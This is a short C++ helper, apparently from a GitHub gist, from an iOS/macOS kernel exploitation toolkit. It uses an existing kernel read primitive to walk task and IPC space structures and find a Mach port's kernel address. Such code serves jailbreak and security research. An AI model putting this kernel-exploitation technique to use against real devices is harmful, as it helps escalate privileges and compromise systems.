uint64_t Utility::findPort(const mach_port_t targetPort,
const uint64_t currentTaskKaddr,
const Parameters &params,
KernelExploit &exploit) {
const uint64_t itkSpace =
exploit.read64(currentTaskKaddr + params.get(Task_ITKSpace));
const uint64_t isTable =
exploit.read64(itkSpace + params.get(IPCSpace_ISTable));
const uint32_t idx = targetPort >> 8;
const uint64_t portAddr =
exploit.read64(isTable + (idx * params.get(IPCSpace_ISTableSize)));
return portAddr;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.